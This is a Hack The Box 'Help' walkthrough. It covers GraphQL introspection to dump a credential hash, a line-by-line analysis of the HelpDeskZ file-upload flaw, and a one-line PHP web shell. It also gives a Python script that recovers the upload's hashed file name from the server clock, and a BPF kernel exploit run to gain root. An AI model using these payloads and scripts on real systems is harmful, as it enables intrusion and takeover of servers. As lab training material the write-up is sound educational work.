walkthroughs

HTB Help Walkthrough: GraphQL and File Upload HelpDeskZ

HTB Help Walkthrough: GraphQL and File Upload HelpDeskZ

Complete Hack The Box: Help write-up. GraphQL enumeration, bypass file upload to HelpDeskZ with vulnerable PHP code analysis, privesc kernel to root.

  • Posted on 2026-07-29
  • Reading time: 8 min

HTB Help Walkthrough: GraphQL Introspection and File Upload Bypass on HelpDeskZ #

Difficulty: Easy Techniques covered: GraphQL introspection, File Upload bypass (HelpDeskZ CVE), PHP code analysis, kernel exploit privesc

Help is a Hack The Box "Easy" tool that teaches a fundamental lesson: understanding why a vulnerability exists is more important than knowing how to exploit it with a tool. In this guide, we analyze the vulnerable PHP code line by line—designed specifically for those who are both new to programming and offensive security.

Reconnaissance #

A classic nmap scan reveals three ports:

bash
nmap -sC -sV -p 22,80,3000 10.10.10.121
text
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp   open  http    Apache httpd 2.4.18
3000/tcp open  http    Node.js Express framework

Port 80 hosts Apache's default page — not very interesting at first glance. gobuster reveals however /support, an instance of HelpDeskZ, open source ticketing software with a known vulnerability file upload.

Port 3000 is more unusual: it responds with X-Powered-By: Express (Node.js framework) and a JSON message that tells you to “find credentials with the right query.” It's not a traditional web server — it's aAPI, and the suggestion on the “query” makes one think of GraphQL, an increasingly popular API query language (used by GitHub, Shopify, and Yelp, among others). Let's try to visit /graphql: he replies. The first half of the attack starts from here.

Part 1: Enumerate the GraphQL API #

What is GraphQL, in two lines #

Unlike a classic REST API — where each resource has its own fixed endpoint (/api/users, /api/posts) — GraphQL exposes a single endpoint (Usually /graphql). You specify exactly which fields you want to receive in the request: compose the query like a custom form, instead of going to a pre-built, fixed "office" for each type of data.

The advantage for an attacker: if the API has theintrospection active (often left on by mistake even in production), you can directly ask the schema “what fields exist?” — without having to guess anything. It is effectively the equivalent of a SHOW TABLES For an API: first map the structure, then query only what you need. For a complete discussion of GraphQL attack mechanisms, see GraphQL PortSwigger cheat sheet It remains one of the most comprehensive resources available.

Step 1 — Introspection query #

bash
curl -s -X POST "http://10.10.10.121:3000/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name fields { name } } } } }"}'

Answer:

json
{"data":{"__schema":{"queryType":{"name":"Query","fields":[{"name":"user","description":""}]}}}}

The diagram tells us that there is a field user under Query. Everything that starts with a double underscore (__Schema, __Type, __EnumValue…) is part of the standard GraphQL specification — it exists identically in every GraphQL API in the world; it is not specific to this machine. It should be ignored.

Step 2 — What fields does it have? User? #

bash
curl -s -X POST "http://10.10.10.121:3000/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __type(name: \"User\") { name fields { name } } }"}'
json
{"data":{"__type":{"name":"User","fields":[{"name":"username"},{"name":"password"}]}}}

Step 3 — Let's get the real data #

bash
curl -s -X POST "http://10.10.10.121:3000/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { username password } }"}'
json
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

MD5 hash cracks on crackstation.net in a few seconds: godhelpmeplz.

Note for beginners: introspection, __schema, __type they are mechanisms interior of GraphQL, present on every installation. The “custom” part of the application — the one that varies from site to site — is only the type User with its two fields. The rest is systemic noise that we must learn to recognize and discard.

Part 2: The HelpDeskZ Vulnerability — Code Analysis #

Here's the most instructive part of the machine. Instead of simply launching a public exploit, let's see what's broken in the actual source code of HelpDeskZ v1.0.2 (publicly available on GitHub, being open source). The vulnerability is also documented on Exploit-DB (EDB-ID 40300).

The bug in a sentence #

The file is saved to the server BEFORE the security check is performed — and if the check fails, no one deletes it.

Line by line #

The code is in controllers/submit_ticket_controller.php:

php
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
    $uploadedfile = $uploaddir.$filename;

    if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
        $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
    } else {
        $fileverification = verifyAttachment($_FILES['attachment']);
        switch($fileverification['msg_code']){
            case '1': $error_msg = $LANG['INVALID_FILE_EXTENSION']; break;
            case '2': $error_msg = $LANG['FILE_NOT_ALLOWED']; break;
            case '3': $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']); break;
        }
    }
}

Line 1-2: $uploaddir is the destination folder (uploads/tickets/). The code only checks that the HTTP upload did not have any transport errors ($_FILES['attachment']['error'] == 0) — not the extension, not the content.

Line 3-5 : This is where the final filename is generated.

php
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

pathinfo(..., PATHINFO_EXTENSION) extracts the extension from the original name (shell.php → php).

On the line below, the point . in PHP it is not a decimal separator nor a dot: it is theconcatenation operator, that is, glue two strings together. So $_FILES['attachment']['name'].time() takes the name of the file ("shell.php") and attacks us right after the server time in seconds (eg. 1785280763), producing a unique string like "shell.php1785280763". This string then passes inside md5(...), which turns it into the final hash — that will be the real name of the file saved on the server, with the original extension appended to the end.

This is already the first design problem: time() It's not a coincidence, it's predictableAnyone who knows (even approximately) the server time and the name of the uploaded file can recalculate the same hash.

Line 7 — the heart of the bug:

php
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {

Let's stop here for a moment, because it's the line that makes the difference between a "secure site" and a "hacked site."

move_uploaded_file() It's a PHP function that does one thing: it moves the file from its temporary location to the final folder. If the move is successful, it returns trueIf it fails (wrong permissions, disk full), it returns false.

The point ! In front of it is the NOT operator: it converts a true value into a false one and vice versa. Think of a friend who always says the opposite of what he really thinks: if he thinks "yes," he says "no"; if he thinks "no," he says "yes." ! it works exactly like this on true/false.

Then a !move_uploaded_file(...) becomes true only when the move fails. In the normal case – file moved successfully, whether .jpg o .php it doesn't matter — this if è false, and the code jumps straight to theelse.

This is the first detail to note: move_uploaded_file() It never looks at the file extension. It moves everything, indiscriminately. The file type check only comes later, in the branch. else.

Line 9 — after, not before:

php
$fileverification = verifyAttachment($_FILES['attachment']);

At this point the file is already physically saved on the server disk, in uploads/tickets/, with a public name reachable via URL. Only NOW is it called verifyAttachment() to check if that file was okay.

If the verdict is negative (e.g. extension .php not allowed), it switch Below just prints an error message to the screen—there's no line that says "then delete the file." The file just sits there, silently, regardless of the result of the check.

To summarize the order of operations: 1) save the file → 2) check if it should have been saved . The correct order would be the exact opposite: first check, then—only if the check passes—save. This priority swap is the entire bug.

One last thing about this block, the switch:

php
switch($fileverification['msg_code']){
    case '1': $error_msg = $LANG['INVALID_FILE_EXTENSION']; break;
    case '2': $error_msg = $LANG['FILE_NOT_ALLOWED']; break;
    case '3': $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']); break;
}

Uno switch it's just a more readable way of writing a lot if/elseif in a row, when you need to compare the same variable with as many values ​​as possible. Here it takes the numeric code returned by verifyAttachment() (msg_code) and decides which error message to show — 1 for malformed extension, 2 by extension not whitelisted, 3 for file too large. Please note: this switch He takes care required to choose the error text to display to the user. It never touches the file saved to disk—consistent with the above, no one deletes it here.

The verification function #

php
function verifyAttachment($filename){
    global $db;
    $namepart = explode('.', $filename['name']);
    $totalparts = count($namepart)-1;
    $file_extension = $namepart[$totalparts];

    if(!ctype_alnum($file_extension)){
        $msg_code = 1;
    } else {
        $filetype = $db->fetchRow("SELECT count(id) AS total, size FROM ".TABLE_PREFIX."file_types WHERE type='".$db->real_escape_string($file_extension)."'");
        if($filetype['total'] == 0){
            $msg_code = 2;
        } elseif($filename['size'] > $filetype['size'] && $filetype['size'] > 0){
            $msg_code = 3;
        } else {
            $msg_code = 0;
        }
    }
    return array('msg_code' => $msg_code, 'msg_extra' => $misc);
}

Let's analyze this one too, one piece at a time, because it's where the whitelist of allowed extensions is.

php
$namepart = explode('.', $filename['name']);

explode('.', ...) break a string into a array (a list with indices numbered from 0) using a dot as a separator. With "shell.php" on input, the result is:

text
$namepart[0] = "shell"
$namepart[1] = "php"
php
$totalparts = count($namepart)-1;

count($namepart) count how many elements are in the array: in this case 2. Minus 1 ago 1 — is the index of thelast array element (arrays in PHP, as in almost all languages, start at 0, not 1).

php
$file_extension = $namepart[$totalparts];

This line doesn't concatenate anything together: it takes single element from the array, the one at the index 1, namely "php". This trick (count()-1 (to take the last piece) also works with more complex file names like "archivio.tar.gz", where it would take correctly "gz" as an extension, ignoring the previous points.

php
if(!ctype_alnum($file_extension)){
    $msg_code = 1;
}

ctype_alnum() checks if a string contains required letters and numbers — no periods, spaces, or weird characters. With ! in front (the same NOT operator as before), theif It triggers when the extension immense It is clean alphanumeric — useful for blocking attempts like shell.ph.p or similar.

php
$filetype = $db->fetchRow("SELECT count(id) AS total, size FROM ".TABLE_PREFIX."file_types WHERE type='".$db->real_escape_string($file_extension)."'");

Here the code queries the database, table file_types, looking for a line where type matches the extension found. Please note: the list of allowed extensions and the maximum size limits are NOT written into the PHP code — they live in the database. The code simply reads them.

If the query does not find any rows (total == 0), the extension is not whitelisted → msg_code = 2.

Onelseif Next, be careful not to get confused: two different values ​​appear, both called “size”, but they are not the same thing.

php
elseif($filename['size'] > $filetype['size'] && $filetype['size'] > 0){
    $msg_code = 3;
}

$filename['size'] that's how much it weighs the file you just uploaded (info taken directly from the HTTP upload). $filetype['size'] It is instead the maximum limit allowed for that extension, read from the database in the line above. The comparison says: "if my file exceeds the limit allowed for that type, AND that limit is not 0 (0 = no limit)" → then it is too big, msg_code = 3Otherwise → msg_code = 0, everything ok, no problems found.

The key point: even in case of msg_code = 1 o 2 (file failed), the function only returns an error code. None unlink(), no deletion. The file remains there.

Part 3: Exploiting the bug #

Knowing that the file .php The malicious program is still saved, you just need to find its name (the MD5 hash is unpredictable by eye, but can be reconstructed by forcing the possible timestamps).

  1. You create a ticket by attaching a web shell Minimal PHP:
php
<?php system($_REQUEST['cmd']); ?>
  1. The site responds with an error (“File is not allowed”) — but the file is still saved in /support/uploads/tickets/.
  2. A script brute-forces possible names, trying to find timestamps close to the server's current time. A practical note here: on the day of this test (July 29), HTB's EU VPNs were down, so the connection went through the US server—a time mismatch between our Kali and the box's server of over an hour. Public exploits out there calculate the time from your local clock (time.time()), which in that situation gave completely wrong results.

The solution was to write a script that doesn't trust the local clock at all, but reads the time directly from the HTTP header. Date returned by the server at the very moment the script starts:

python
from urllib2 import urlopen
import hashlib, sys, email.utils

base_url = sys.argv[1]
file_name = sys.argv[2]

req = urlopen(base_url)
server_date = req.info().getheader('Date')
unixtime = int(email.utils.mktime_tz(email.utils.parsedate_tz(server_date)))

for offset in range(300):
    pre_encode = file_name + str(unixtime - offset)
    encoded = hashlib.md5(pre_encode).hexdigest()
    url = base_url + "/" + encoded + ".php"
    try:
        if urlopen(url).getcode() == 200:
            print "Found: " + url
            break
    except:
        pass

The key point is the line unixtime = int(email.utils.mktime_tz(...)): takes the header value Date (which is the server's real time, always, regardless of where you are or what VPN you're using) and converts it to a Unix timestamp. From there, the loop tries 300 seconds backwards from that time—not ours. This makes the script immune to any time zone differences or unstable VPNs.

  1. Once the URL is found, the web shell is reachable:
bash
curl "http://10.10.10.121/support/uploads/tickets/<hash>.php?cmd=id"
# uid=1000(help) gid=1000(help) ...

Privilege escalation: help → root #

bash
uname -a
# Linux help 4.4.0-116-generic ... x86_64

The output shows a Linux 4.4 kernel — on such a release, it's always worth checking for publicly available kernel-level privilege escalations before looking for more complex options. Tools like linux-exploit-suggester-2 They do exactly that: they compare the kernel version against a database of known CVEs. In our case, several candidates emerge, including CVE-2017-16995 (also known as “get_rekt”). When compiled and executed, the exploit exploits a vulnerability in the kernel BPF subsystem to directly patch the current process's credentials:

bash
gcc -o exploit 45010.c
./exploit
# [+] credentials patched, launching shell...
# id
# uid=0(root) gid=0(root) ...

What to bring home #

The real lesson of this machine isn't "there's a public exploit for HelpDeskZ"—it's that security checks should always be performed BEFORE any irreversible action , never afterward. Saving a file and then deciding whether it was valid is a backwards logical order that, by itself, nullifies any extension whitelist, no matter how well-written.

For those who want to delve deeper into the attack mechanisms discussed here, HackTheBox and similar boxes remain the best way to practice. On the rest of the site, you'll find guides dedicated to file upload attacks , web shell attacks , GraphQL exploitation , SQL injection , and path traversal.

#bees #htb walkthrough #File Upload

leave a message

I'm not a robot